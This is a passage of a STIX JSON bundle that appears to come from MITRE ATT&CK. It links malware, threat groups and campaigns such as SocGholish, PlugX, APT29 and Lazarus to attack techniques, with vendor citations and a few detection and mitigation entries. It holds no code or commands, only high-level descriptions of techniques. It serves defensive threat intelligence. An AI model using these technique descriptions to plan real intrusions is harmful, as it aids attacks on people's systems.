2022)","modified":"2022-08-09T18:38:23.986Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--3a0f6128-0a01-421d-8eca-e57d8671b1f1","target_ref":"attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8e724de0-431e-4db8-b118-979405ede39a","created":"2024-03-22T19:48:25.235Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"SocGholish-update","description":"Andrew Northern. (2022, November 22). SocGholish, a very real threat from a very fake update. Retrieved February 13, 2024.","url":"https://www.proofpoint.com/us/blog/threat-insight/part-1-socgholish-very-real-threat-very-fake-update"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-22T19:51:37.388Z","description":"[SocGholish](https://attack.mitre.org/software/S1124) has been distributed through compromised websites with malicious content often masquerading as browser updates.(Citation: SocGholish-update)","relationship_type":"uses","source_ref":"malware--5911d2ca-64f6-49b3-b94f-29b5d185085c","target_ref":"attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8e744873-e85e-4b7c-b36c-96448e600c43","type":"relationship","created":"2021-11-17T17:07:35.411Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro DRBControl February 2020","url":"https://documents.trendmicro.com/assets/white_papers/wp-uncovering-DRBcontrol.pdf","description":"Lunghi, D. et al. (2020, February). Uncovering DRBControl. Retrieved November 12, 2021."}],"modified":"2021-11-17T17:07:35.411Z","description":"[Clambling](https://attack.mitre.org/software/S0660) has the ability to enumerate network shares.(Citation: Trend Micro DRBControl February 2020)","relationship_type":"uses","source_ref":"malware--6e95feb1-78ee-48d3-b421-4d76663b5c49","target_ref":"attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8e7887b3-f622-4860-9bda-3f4ab6231393","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye Know Your Enemy FIN8 Aug 2016","description":"Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy: New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.","url":"https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html"},{"description":"Gorelik, M.. (2019, June 10). SECURITY ALERT: FIN8 IS BACK IN BUSINESS, TARGETING THE HOSPITALITY INDUSTRY. Retrieved June 13, 2019.","url":"http://blog.morphisec.com/security-alert-fin8-is-back","source_name":"Morphisec ShellTea June 2019"}],"modified":"2019-06-28T20:48:52.515Z","description":"[PUNCHBUGGY](https://attack.mitre.org/software/S0196) can download additional files and payloads to compromised hosts.(Citation: FireEye Know Your Enemy FIN8 Aug 2016)(Citation: Morphisec ShellTea June 2019)","relationship_type":"uses","source_ref":"malware--5c6ed2dc-37f4-40ea-b2e1-4c76140a388c","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8e7ff07b-7a32-4ced-ac22-b523586dbde3","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky ProjectSauron Technical Analysis","description":"Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Technical Analysis. Retrieved August 17, 2016.","url":"https://securelist.com/files/2016/07/The-ProjectSauron-APT_Technical_Analysis_KL.pdf"}],"modified":"2020-03-11T17:45:33.708Z","description":"[Remsec](https://attack.mitre.org/software/S0125) has a package that collects documents from any inserted USB sticks.(Citation: Kaspersky ProjectSauron Technical Analysis)","relationship_type":"uses","source_ref":"malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8","target_ref":"attack-pattern--1b7ba276-eedc-4951-a762-0ceea2c030ec","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8e809969-d903-4e58-b8a9-7344127da3cd","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Talos Smoke Loader July 2018","description":"Baker, B., Unterbrink H. (2018, July 03). Smoking Guns - Smoke Loader learned new tricks. Retrieved July 5, 2018.","url":"https://blog.talosintelligence.com/2018/07/smoking-guns-smoke-loader-learned-new.html#more"},{"source_name":"Malwarebytes SmokeLoader 2016","description":"Hasherezade. (2016, September 12). Smoke Loader – downloader with a smokescreen still alive. Retrieved March 20, 2018.","url":"https://blog.malwarebytes.com/threat-analysis/2016/08/smoke-loader-downloader-with-a-smokescreen-still-alive/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-11T00:05:14.278Z","description":"[Smoke Loader](https://attack.mitre.org/software/S0226) uses a simple one-byte XOR method to obfuscate values in the malware.(Citation: Malwarebytes SmokeLoader 2016)(Citation: Talos Smoke Loader July 2018)","relationship_type":"uses","source_ref":"malware--0c824410-58ff-49b2-9cf2-1c96b182bdf0","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--8e824b6e-a0b7-4a57-9a7e-89b2c390beec","created":"2022-04-14T20:02:28.417Z","x_mitre_version":"0.1","external_references":[{"source_name":"Proofpoint TA416 Europe March 2022","url":"https://www.proofpoint.com/us/blog/threat-insight/good-bad-and-web-bug-ta416-increases-operational-tempo-against-european","description":"Raggi, M. et al. (2022, March 7). The Good, the Bad, and the Web Bug: TA416 Increases Operational Tempo Against European Governments as Conflict in Ukraine Escalates. Retrieved March 16, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[PlugX](https://attack.mitre.org/software/S0013) has been disguised as legitimate Adobe and PotPlayer files.(Citation: Proofpoint TA416 Europe March 2022)","modified":"2022-04-14T20:02:28.417Z","relationship_type":"uses","source_ref":"malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8e82a523-fc73-4f3b-98dc-3b1e7199cd93","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye APT28","description":"FireEye. (2015). APT28: A WINDOW INTO RUSSIA’S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.","url":"https://web.archive.org/web/20151022204649/https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T17:51:20.413Z","description":"[OLDBAIT](https://attack.mitre.org/software/S0138) obfuscates internal strings and unpacks them at startup.(Citation: FireEye APT28)","relationship_type":"uses","source_ref":"malware--2dd34b01-6110-4aac-835d-b5e7b936b0be","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8e876e40-06b7-4830-a281-85c070b6f854","type":"relationship","created":"2019-01-29T19:55:48.144Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Kaspersky Lab's Global Research & Analysis Team. (2014, August 06). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroboros. Retrieved November 7, 2018.","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08080105/KL_Epic_Turla_Technical_Appendix_20140806.pdf","source_name":"Kaspersky Turla Aug 2014"}],"modified":"2020-03-18T19:55:30.798Z","description":"[Epic](https://attack.mitre.org/software/S0091) gathers a list of all user accounts, privilege classes, and time of last logon.(Citation: Kaspersky Turla Aug 2014)","relationship_type":"uses","source_ref":"malware--6b62e336-176f-417b-856a-8552dd8c44e1","target_ref":"attack-pattern--25659dd6-ea12-45c4-97e6-381e3e4b593e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8e883c7a-3f13-42f6-8cf5-ce373586487e","type":"relationship","created":"2019-03-25T15:05:23.719Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019.","url":"https://blog.talosintelligence.com/2018/02/olympic-destroyer.html","source_name":"Talos Olympic Destroyer 2018"}],"modified":"2019-06-30T23:07:54.106Z","description":"[Olympic Destroyer](https://attack.mitre.org/software/S0365) uses WMI to help propagate itself across a network.(Citation: Talos Olympic Destroyer 2018)","relationship_type":"uses","source_ref":"malware--3249e92a-870b-426d-8790-ba311c1abfb4","target_ref":"attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8e8aced5-9391-47d8-bef7-894453048810","created":"2023-03-26T16:02:29.573Z","revoked":false,"external_references":[{"source_name":"Microsoft 365 Defender Solorigate","description":"Microsoft 365 Defender Team. (2020, December 28). Using Microsoft 365 Defender to protect against Solorigate. Retrieved January 7, 2021.","url":"https://www.microsoft.com/security/blog/2020/12/28/using-microsoft-365-defender-to-coordinate-protection-against-solorigate/"},{"source_name":"Microsoft Deep Dive Solorigate January 2021","description":"MSTIC, CDOC, 365 Defender Research Team. (2021, January 20). Deep dive into the Solorigate second-stage activation: From SUNBURST to TEARDROP and Raindrop . Retrieved January 22, 2021.","url":"https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T16:02:29.573Z","description":"During the [SolarWinds Compromise](https://attack.mitre.org/campaigns/C0024), [APT29](https://attack.mitre.org/groups/G0016) used a WMI event filter to invoke a command-line event consumer at system boot time to launch a backdoor with `rundll32.exe`.(Citation: Microsoft Deep Dive Solorigate January 2021)(Citation: Microsoft 365 Defender Solorigate)","relationship_type":"uses","source_ref":"campaign--808d6b30-df4e-4341-8248-724da4bac650","target_ref":"attack-pattern--910906dd-8c0a-475a-9cc1-5e029e2fad58","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8e8bebc7-14ff-4c84-a2a4-472446c5897a","type":"relationship","created":"2020-06-23T19:41:51.743Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos Cobalt Group July 2018","description":"Svajcer, V. (2018, July 31). Multiple Cobalt Personality Disorder. Retrieved September 5, 2018.","url":"https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html"},{"source_name":"PTSecurity Cobalt Group Aug 2017","description":"Positive Technologies. (2017, August 16). Cobalt Strikes Back: An Evolving Multinational Threat to Finance. Retrieved September 5, 2018.","url":"https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-2017-eng.pdf"},{"source_name":"Group IB Cobalt Aug 2017","description":"Matveeva, V. (2017, August 15). Secrets of Cobalt. Retrieved October 10, 2018.","url":"https://www.group-ib.com/blog/cobalt"},{"description":"Gorelik, M. (2018, October 08). Cobalt Group 2.0. Retrieved November 5, 2018.","url":"https://blog.morphisec.com/cobalt-gang-2.0","source_name":"Morphisec Cobalt Gang Oct 2018"},{"source_name":"Unit 42 Cobalt Gang Oct 2018","url":"https://researchcenter.paloaltonetworks.com/2018/10/unit42-new-techniques-uncover-attribute-cobalt-gang-commodity-builders-infrastructure-revealed/","description":"Unit 42. (2018, October 25). New Techniques to Uncover and Attribute Financial actors Commodity Builders and Infrastructure Revealed. Retrieved December 11, 2018."},{"description":"Giagone, R., Bermejo, L., and Yarochkin, F. (2017, November 20). Cobalt Strikes Again: Spam Runs Use Macros and CVE-2017-8759 Exploit Against Russian Banks. Retrieved March 7, 2019.","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/cobalt-spam-runs-use-macros-cve-2017-8759-exploit/","source_name":"TrendMicro Cobalt Group Nov 2017"}],"modified":"2020-06-23T19:41:51.743Z","description":"[Cobalt Group](https://attack.mitre.org/groups/G0080) has executed JavaScript scriptlets on the victim's machine.(Citation: Talos Cobalt Group July 2018)(Citation: PTSecurity Cobalt Group Aug 2017)(Citation: Group IB Cobalt Aug 2017)(Citation: Morphisec Cobalt Gang Oct 2018)(Citation: Unit 42 Cobalt Gang Oct 2018)(Citation: TrendMicro Cobalt Group Nov 2017)","relationship_type":"uses","source_ref":"intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a","target_ref":"attack-pattern--0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8e9f95f0-4939-4e74-9073-70efddddff50","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html","description":"Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.","source_name":"FireEye APT34 Dec 2017"}],"modified":"2020-03-18T20:18:02.907Z","description":"[OilRig](https://attack.mitre.org/groups/G0049) can download remote files onto victims.(Citation: FireEye APT34 Dec 2017)","relationship_type":"uses","source_ref":"intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8ea1a0e5-bef3-4c67-ac85-e64675e33829","type":"relationship","created":"2022-03-30T14:26:51.848Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.848Z","description":"Monitor for newly assigned drive letters or mount points to a data storage device that may attempt to exfiltrate data over a USB connected physical device.","source_ref":"x-mitre-data-component--3d6e6b3b-4aa8-40e1-8c47-91db0f313d9f","target_ref":"attack-pattern--a3e1e6c5-9c74-4fc0-a16c-a9d228c17829","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8ea64034-60a6-466d-9434-19d05180626c","type":"relationship","created":"2020-09-24T13:19:42.657Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Dukes October 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf","description":"Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020."}],"modified":"2020-10-09T16:07:59.938Z","description":"[RegDuke](https://attack.mitre.org/software/S0511) can decrypt strings with a key either stored in the Registry or hardcoded in the code.(Citation: ESET Dukes October 2019)","relationship_type":"uses","source_ref":"malware--47124daf-44be-4530-9c63-038bc64318dd","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8eaad388-b7ef-4fb8-88e6-c6f36065c8c4","type":"relationship","created":"2019-06-21T17:26:42.110Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-12-11T17:00:01.179Z","description":"Ensure proper system isolation for critical network systems through use of firewalls.","relationship_type":"mitigates","source_ref":"course-of-action--86598de0-b347-4928-9eb0-0acbfc21908c","target_ref":"attack-pattern--92a78814-b191-47ca-909c-1ccfe3777414","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8eac3e1c-f17b-4cf5-9437-2767dc312f6b","created":"2024-04-04T14:36:16.405Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Trellix Darkgate 2023","description":"Ernesto Fernández Provecho, Pham Duy Phuc, Ciana Driscoll & Vinoo Thomas. (2023, November 21). The Continued Evolution of the DarkGate Malware-as-a-Service. Retrieved February 9, 2024.","url":"https://www.trellix.com/blogs/research/the-continued-evolution-of-the-darkgate-malware-as-a-service/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-04T16:33:33.021Z","description":"[DarkGate](https://attack.mitre.org/software/S1111) command and control includes hard-coded domains in the malware chosen to masquerade as legitimate services such as Akamai CDN or Amazon Web Services.(Citation: Trellix Darkgate 2023)","relationship_type":"uses","source_ref":"malware--6f6f67c9-556d-4459-95c2-78d272190e52","target_ref":"attack-pattern--40f5caa0-4cb7-4117-89fc-d421bb493df3","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8eac6ff8-7c47-4a81-94ad-e5844d2533f1","type":"relationship","created":"2020-05-11T18:05:53.488Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye HIKIT Rootkit Part 2","url":"https://www.fireeye.com/blog/threat-research/2012/08/hikit-rootkit-advanced-persistent-attack-techniques-part-2.html","description":"Glyer, C., Kazanciyan, R. (2012, August 22). The “Hikit” Rootkit: Advanced and Persistent Attack Techniques (Part 2). Retrieved May 4, 2020."}],"modified":"2020-05-13T20:36:49.359Z","description":"[Hikit](https://attack.mitre.org/software/S0009) has used HTTP for C2.(Citation: FireEye HIKIT Rootkit Part 2)","relationship_type":"uses","source_ref":"malware--95047f03-4811-4300-922e-1ba937d53a61","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8ead6aa1-dbbe-4e8f-b542-66af9b5f2c33","type":"relationship","created":"2020-08-24T14:07:40.712Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET PipeMon May 2020","url":"https://www.welivesecurity.com/2020/05/21/no-game-over-winnti-group/","description":"Tartare, M. et al. (2020, May 21). No “Game over” for the Winnti Group. Retrieved August 24, 2020."}],"modified":"2020-08-24T14:07:40.712Z","description":"[PipeMon](https://attack.mitre.org/software/S0501) can iterate over the running processes to find a suitable injection target.(Citation: ESET PipeMon May 2020)","relationship_type":"uses","source_ref":"malware--8393dac0-0583-456a-9372-fd81691bca20","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8eafddf4-a5ae-43a0-8129-966de05fefb0","type":"relationship","created":"2021-12-02T15:43:11.510Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos TinyTurla September 2021","url":"https://blog.talosintelligence.com/2021/09/tinyturla.html","description":"Cisco Talos. (2021, September 21). TinyTurla - Turla deploys new malware to keep a secret backdoor on victim machines. Retrieved December 2, 2021."}],"modified":"2021-12-02T15:43:11.510Z","description":"[Turla](https://attack.mitre.org/groups/G0010) has compromised internal network systems to act as a proxy to forward traffic to C2.(Citation: Talos TinyTurla September 2021)","relationship_type":"uses","source_ref":"intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6","target_ref":"attack-pattern--f6dacc85-b37d-458e-b58d-74fc4bbf5755","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8eb5293f-e310-429c-a801-596feb3903a0","created":"2022-06-01T18:50:24.411Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Tarrask scheduled task","description":"Microsoft Threat Intelligence Team & Detection and Response Team . (2022, April 12). Tarrask malware uses scheduled tasks for defense evasion. Retrieved June 1, 2022.","url":"https://www.microsoft.com/security/blog/2022/04/12/tarrask-malware-uses-scheduled-tasks-for-defense-evasion/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-18T14:52:50.824Z","description":"[Tarrask](https://attack.mitre.org/software/S1011) is able to delete the Security Descriptor (`SD`) registry subkey in order to “hide” scheduled tasks.(Citation: Tarrask scheduled task)","relationship_type":"uses","source_ref":"malware--988976ff-beeb-4fb5-b07d-ca7437ea66e8","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8ebab956-4440-4fd7-96ff-8da29e0f0b46","type":"relationship","created":"2017-05-31T21:33:27.073Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Citizen Lab Stealth Falcon May 2016","description":"Marczak, B. and Scott-Railton, J.. (2016, May 29). Keep Calm and (Don’t) Enable Macros: A New Threat Actor Targets UAE Dissidents. Retrieved June 8, 2016.","url":"https://citizenlab.org/2016/05/stealth-falcon/"}],"modified":"2020-03-17T02:38:48.500Z","description":"[Stealth Falcon](https://attack.mitre.org/groups/G0038) malware gathers the registered user and primary owner name via WMI.(Citation: Citizen Lab Stealth Falcon May 2016)","relationship_type":"uses","source_ref":"intrusion-set--894aab42-3371-47b1-8859-a4a074c804c8","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8ebf7956-a41c-4f3c-b586-a38a107518d6","created":"2023-09-20T15:11:06.448Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ESET Lazarus Jun 2020","description":"Breitenbacher, D and Osis, K. (2020, June 17). OPERATION IN(TER)CEPTION: Targeted Attacks Against European Aerospace and Military Companies. Retrieved December 20, 2021.","url":"https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_Operation_Interception.pdf"},{"source_name":"ClearSky Lazarus Aug 2020","description":"ClearSky Research Team. (2020, August 13). Operation 'Dream Job' Widespread North Korean Espionage Campaign. Retrieved December 20, 2021.","url":"https://www.clearskysec.com/wp-content/uploads/2020/08/Dream-Job-Campaign.pdf"},{"source_name":"The Hacker News Lazarus Aug 2022","description":"Lakshmanan, R. (2022, August 17). North Korea Hackers Spotted Targeting Job Seekers with macOS Malware. Retrieved April 10, 2023.","url":"https://thehackernews.com/2022/08/north-korea-hackers-spotted-targeting.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-28T22:18:25.164Z","description":"During [Operation Dream Job](https://attack.mitre.org/campaigns/C0022), [Lazarus Group](https://attack.mitre.org/groups/G0032) impersonated HR hiring personnel through LinkedIn messages and conducted interviews with victims in order to deceive them into downloading malware.(Citation: ClearSky Lazarus Aug 2020)(Citation: ESET Lazarus Jun 2020)(Citation: The Hacker News Lazarus Aug 2022)","relationship_type":"uses","source_ref":"campaign--0257b35b-93ef-4a70-80dd-ad5258e6045b","target_ref":"attack-pattern--c9e0c59e-162e-40a4-b8b1-78fab4329ada","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8ec92ea1-6021-4e0f-9737-826e9f243830","type":"relationship","created":"2020-08-10T19:52:05.778Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Bitdefender StrongPity June 2020","url":"https://www.bitdefender.com/files/News/CaseStudies/study/353/Bitdefender-Whitepaper-StrongPity-APT.pdf","description":"Tudorica, R. et al. (2020, June 30). StrongPity APT - Revealing Trojanized Tools, Working Hours and Infrastructure. Retrieved July 20, 2020."}],"modified":"2020-08-10T19:52:05.778Z","description":"[StrongPity](https://attack.mitre.org/software/S0491) has a file searcher component that can automatically collect and archive files based on a predefined list of file extensions.(Citation: Bitdefender StrongPity June 2020)","relationship_type":"uses","source_ref":"malware--20945359-3b39-4542-85ef-08ecb4e1c174","target_ref":"attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8ecc61b0-c0b9-4f3a-a6b4-53c88e1d9bb7","type":"relationship","created":"2021-02-10T19:41:52.619Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ClearSky Lebanese Cedar Jan 2021","url":"https://www.clearskysec.com/wp-content/uploads/2021/01/Lebanese-Cedar-APT.pdf","description":"ClearSky Cyber Security. (2021, January). “Lebanese Cedar” APT Global Lebanese Espionage Campaign Leveraging Web Servers. Retrieved February 10, 2021."}],"modified":"2021-02-10T19:41:52.619Z","description":"[Caterpillar WebShell](https://attack.mitre.org/software/S0572) has a command to modify a Registry key.(Citation: ClearSky Lebanese Cedar Jan 2021)","relationship_type":"uses","source_ref":"malware--751b77e6-af1f-483b-93fe-eddf17f92a64","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8ece1131-5221-498b-9370-30b3b459203e","type":"relationship","created":"2021-08-03T15:19:36.016Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"MSTIC Nobelium Toolset May 